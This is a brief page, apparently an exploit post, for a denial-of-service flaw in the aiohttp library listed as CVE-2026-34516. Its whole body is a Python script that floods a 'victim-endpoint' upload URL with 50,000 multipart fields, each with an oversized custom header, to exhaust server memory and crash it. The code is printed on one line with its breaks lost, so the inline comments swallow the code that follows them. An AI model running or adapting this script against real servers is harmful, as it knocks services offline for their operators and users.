CVE-2026-34516 AIOHTTP 拒绝服务漏洞

import aiohttp import asyncio async def exploit(): # Target URL url = "http://victim-endpoint/upload" # Create a FormData object data = aiohttp.FormData() # Add a field with excessive headers to trigger memory exhaustion # Loop adds many headers to consume memory for i in range(50000): data.add_field('file', b'content', headers={'X-Header-{}'.format(i): 'Value' * 100}) async with aiohttp.ClientSession() as session: try: # Send the malicious request async with session.post(url, data=data) as resp: print(f"Status: {resp.status}") except Exception as e: print(f"Server likely crashed or connection failed: {e}") if __name__ == "__main__": asyncio.run(exploit())